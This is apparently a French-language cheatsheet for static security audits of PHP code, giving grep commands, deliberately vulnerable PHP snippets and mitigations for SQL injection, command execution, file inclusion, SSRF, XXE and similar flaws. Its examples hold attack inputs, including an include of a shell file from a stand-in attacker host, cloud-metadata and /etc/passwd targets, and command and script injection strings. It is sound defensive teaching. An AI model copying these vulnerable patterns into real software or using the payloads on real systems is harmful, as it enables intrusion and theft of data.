Objectif : Identifier rapidement les points potentiellement vulnérables dans une base de code PHP lors d'un audit de sécurité statique (SAST - Static Application Security Testing). Cette cheatsheet se concentre sur des fonctions et des patterns connus pour être souvent sources de vulnérabilités.
Note : L'audit statique doit être complété par un audit dynamique et une compréhension du contexte d'exécution. La présence d'une fonction listée ici n'implique pas automatiquement une vulnérabilité si les entrées sont correctement validées et échappées.
⚙️ Outils d'Analyse Statique (SAST) pour PHP
Avant de chercher manuellement, envisagez d'utiliser des outils SAST qui automatisent une partie de la détection :
- PHPStan (https://github.com/phpstan/phpstan)
- Psalm (https://github.com/vimeo/psalm)
- SonarQube (avec SonarPHP) (https://www.sonarsource.com/products/sonarqube/)
- Semgrep (https://github.com/semgrep/semgrep) - Avec des règles spécifiques PHP.
- PHP CS Fixer / PHP CodeSniffer : Plus pour le style, mais peuvent aider à repérer des pratiques non standard.
🎯 Recherche Manuelle par Type de Vulnérabilité (grep)
(Exécutez ces commandes à la racine du code source)
💉 Injection SQL (SQLi)
- Recherche : Fonctions exécutant des requêtes sans préparation adéquate.
bash
# Fonctions de base de données classiques (ex: mysqli, pdo)
grep -RinE --include=*.php '(mysqli_query|query\(|->query\(|execute\(|->execute\()' .
# Fonctions PDO spécifiques (prepare est bien, mais vérifier comment les variables sont liées)
grep -RinE --include=*.php 'prepare\(|->prepare\(' .
# Recherche de concaténation directe de variables dans les requêtes
grep -RinE --include=*.php 'SELECT .*[\$\_](GET|POST|REQUEST|COOKIE)|INSERT .*[\$\_](GET|POST|REQUEST|COOKIE)|UPDATE .*[\$\_](GET|POST|REQUEST|COOKIE)|DELETE .*[\$\_](GET|POST|REQUEST|COOKIE)' .- Exemple Vulnérable :
php
<?php
$id = $_GET['id'];
$result = $mysqli->query("SELECT * FROM products WHERE id = " . $id); // Injection possible ici
?>- Mitigation : Utiliser systématiquement les requêtes préparées (Prepared Statements) avec
mysqli_prepare/bind_param/executeou PDO (prepare,bindParam/bindValue,execute).
🛰️ Exécution de Commandes (RCE - Remote Code Execution)
- Recherche : Fonctions exécutant des commandes système ou interprétant du code.
bash
grep -RinE --include=*.php '(system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec|`.*`|eval|assert|create_function|include|require|include_once|require_once)' .
# Spécifiquement pour les backticks (opérateur d'exécution)
grep -Rin --include=*.php '`' .- Exemple Vulnérable (
shell_exec) :
php
<?php
$cmd = $_GET['cmd'];
echo shell_exec('ping -c 3 ' . $cmd); // RCE via injection de commande (ex: ; ls -la)
?>- Exemple Vulnérable (
eval) :
php
<?php
$code = $_GET['code'];
eval("\$result = " . $code . ";"); // RCE directe si $code contient du PHP malveillant
?>- Mitigation : Éviter autant que possible ces fonctions avec des entrées utilisateur. Si nécessaire, utiliser
escapeshellarg()ouescapeshellcmd()(avec prudence, ne protège pas de tout) et valider très strictement les entrées (liste blanche). Évitereval,assert,create_functionavec des données externes.
🪂 Inclusion de Fichiers (LFI/RFI - Local/Remote File Inclusion)
- Recherche : Fonctions incluant des fichiers basés sur une entrée.
bash
grep -RinE --include=*.php '(include|require|include_once|require_once)\s*\(?[\s"\']?[\$\_](GET|POST|REQUEST|COOKIE)' .
# Fonctions de lecture de fichiers pouvant mener à LFI ou Directory Traversal
grep -RinE --include=*.php '(file_get_contents|fopen|file|readfile)\s*\(?[\s"\']?[\$\_](GET|POST|REQUEST|COOKIE)' .- Exemple Vulnérable (LFI) :
php
<?php
$page = $_GET['page'];
include($page . '.php'); // LFI possible avec ../../.. ou wrappers php://
?>- Exemple Vulnérable (RFI - si
allow_url_include=On) :
php
<?php
$module = $_GET['module'];
include($module); // RFI possible si $module = [http://attaquant.com/shell.txt](https://www.google.com/search?q=http://attaquant.com/shell.txt)
?>- Mitigation : Ne jamais inclure de fichiers basés directement sur une entrée utilisateur. Utiliser une liste blanche (whitelist) de fichiers autorisés. Désactiver
allow_url_fopenetallow_url_includedansphp.inisi possible. Utiliserbasename()ou valider strictement le chemin.
🚶 Directory Traversal
- Recherche : Utilisation de fonctions de fichiers avec des chemins potentiellement contrôlés par l'utilisateur.
bash
grep -RinE --include=*.php '(fopen|file_get_contents|file_put_contents|readfile|unlink|copy|rename|mkdir|rmdir|scandir|glob)\s*\(?[\s"\']?[\$\_](GET|POST|REQUEST|COOKIE)' .- Exemple Vulnérable :
php
<?php
$filename = $_GET['file'];
$content = file_get_contents('/var/www/app/user_files/' . $filename); // Traversal possible avec $filename = ../../etc/passwd
?>- Mitigation : Valider et nettoyer les chemins (
basename()), vérifier que le chemin résolu (realpath()) reste dans le répertoire attendu (chroot virtuel).
🧁 Cross-Site Scripting (XSS)
- Recherche : Affichage direct de données utilisateur sans échappement HTML.
bash
grep -RinE --include=*.php '(echo|print|<\?=)[\s\(]*[\$\_](GET|POST|REQUEST|COOKIE)' .- Exemple Vulnérable :
php
<?php
$name = $_GET['name'];
echo "<h1>Bonjour, " . $name . "</h1>"; // XSS possible si name contient <script>alert(1)</script>
?>- Mitigation : Utiliser
htmlspecialchars($variable, ENT_QUOTES, 'UTF-8')ou des moteurs de template sécurisés (Twig, Blade) qui échappent par défaut. Définir l'en-têteContent-Security-Policy.
📤 File Upload Vulnerabilities
- Recherche : Traitement des fichiers uploadés (
$_FILES).
bash
grep -Rin --include=*.php '\$_FILES\[' .
grep -RinE --include=*.php '(move_uploaded_file|copy)\s*\(?.*[\$\_]FILES' .- Points à vérifier :
- Validation du type de fichier (MIME type
$_FILES['userfile']['type']n'est pas fiable, vérifier l'extension et idéalement le contenu/magic bytes). - Validation de la taille (
$_FILES['userfile']['size']). - Contrôle du nom de fichier (éviter les
.., les extensions multiplesshell.php.jpg, générer un nom aléatoire). - Stockage des fichiers uploadés en dehors du webroot ou avec des permissions très restrictives (pas d'exécution).
- Utilisation de
move_uploaded_file()plutôt quecopy().
- Validation du type de fichier (MIME type
- Mitigation : Valider type, taille, nom. Renommer les fichiers. Stocker hors webroot ou configurer le serveur web pour ne pas exécuter de code dans le dossier d'upload.
🔓 Insecure Deserialization
- Recherche : Utilisation de la fonction
unserialize()sur des données contrôlées par l'utilisateur.
bash
grep -RinE --include=*.php 'unserialize\s*\(?[\s"\']?[\$\_](GET|POST|REQUEST|COOKIE)' .- Exemple Vulnérable :
php
<?php
$user_data = unserialize($_COOKIE['userdata']); // Dangereux si le cookie peut être manipulé
?>- Mitigation : Ne jamais utiliser
unserialize()sur des données non fiables. Préférer JSON (json_decode/json_encode) ou d'autres formats sérialisés sûrs. Siunserializeest inévitable, utiliser l'optionallowed_classes(PHP 7+).
🔗 Server-Side Request Forgery (SSRF)
- Recherche : Fonctions effectuant des requêtes HTTP/fichier basées sur une entrée utilisateur.
bash
grep -RinE --include=*.php '(curl_exec|file_get_contents|fsockopen|fopen)\s*\(?.*[\$\_](GET|POST|REQUEST|COOKIE)' .- Exemple Vulnérable :
php
<?php
$url = $_GET['url'];
$content = file_get_contents($url); // SSRF si $url = [http://169.254.169.254/latest/meta-data/](https://www.google.com/search?q=http://169.254.169.254/latest/meta-data/) ou file:///etc/passwd
?>- Mitigation : Valider strictement les URL (liste blanche de domaines/IPs autorisés). Ne pas autoriser les schémas
file://,gopher://, etc. Configurer des pare-feux pour limiter les requêtes sortantes du serveur.
🏛️ XML External Entity (XXE)
- Recherche : Traitement de fichiers XML avec des parseurs potentiellement mal configurés.
bash
grep -RinE --include=*.php '(simplexml_load_string|simplexml_load_file|DOMDocument->load|DOMDocument->loadXML|xml_parse)' .- Exemple Vulnérable (avant PHP 8) :
php
<?php
libxml_disable_entity_loader(false); // Active le chargement des entités externes (DANGEREUX)
$xml = $_POST['xml'];
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); // XXE possible
?>- Mitigation : Désactiver le chargement des entités externes :
libxml_disable_entity_loader(true);(par défaut depuis PHP 8.0). UtiliserLIBXML_NONETlors du parsing si possible.
⚖️ Comparaisons Faibles (Weak Type Comparison)
- Recherche : Utilisation de
==au lieu de===pour des comparaisons, surtout avec des fonctions commestrcmp,strpos, ou lors de vérifications d'authentification/autorisation.
bash
grep -RinE --include=*.php '\s==\s' . # Très générique, affinage nécessaire
grep -RinE --include=*.php '(strcmp|strpos)\s*\(.*?\)\s*==\s*0' . # strcmp/strpos peuvent retourner 0 ou false- Exemple Vulnérable (
strcmp) :
php
<?php
// Si $password est un tableau envoyé par l'attaquant (ex: password[]=), strcmp retourne NULL.
// NULL == 0 est TRUE en comparaison faible !
if (strcmp($_POST['password'], $stored_password) == 0) {
echo "Login réussi!";
}
?>- Mitigation : Utiliser la comparaison stricte
===qui vérifie aussi le type. Pourstrcmp, vérifier explicitementstrcmp(...) === 0. Pourstrpos, vérifierstrpos(...) !== false.